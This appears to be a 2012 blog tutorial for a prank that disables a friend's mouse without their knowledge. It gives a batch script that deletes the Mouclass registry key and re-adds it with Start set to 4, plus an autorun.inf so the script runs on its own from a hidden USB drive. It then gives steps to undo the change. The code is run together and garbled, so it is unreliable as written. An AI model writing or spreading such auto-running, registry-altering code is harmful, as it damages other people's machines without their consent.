Tuesday, 27 November 2012

Disable Your Friend’s Mouse Whenever USB Disk Is Inserted



How to do:->

1. Open the notepad file

2. Just copy and paste the below code in your notepad file. . .

@echooffsetkey="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"regdelete%key%regadd %key% /v Start /t REG_DWORD /d 4

3.Save the file as .bat extension. . .

4.Then create the other notepad file and
Just copy and paste the below code in your notepad file. . .
[autorun]Open=filename.fileextension is batAction=Mouse Disable


you have to put the name .bat which is already done by you. .

5 save the file as autorun.inf

6.Now just copies these two files and paste it in your pen drive. . .And hide these both file . . .Whenever your friend insert your pen drive in his computerThese both files are run automatically. . .and then the mouse will be disable. .
For enabling the Mouse. .
Go to run
Type regedit
Then go to
HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\MouclassClick on startAnd modify its value 1 instead of 4. . .
After this the Mouse will enable. . .

0 comments:

Post a Comment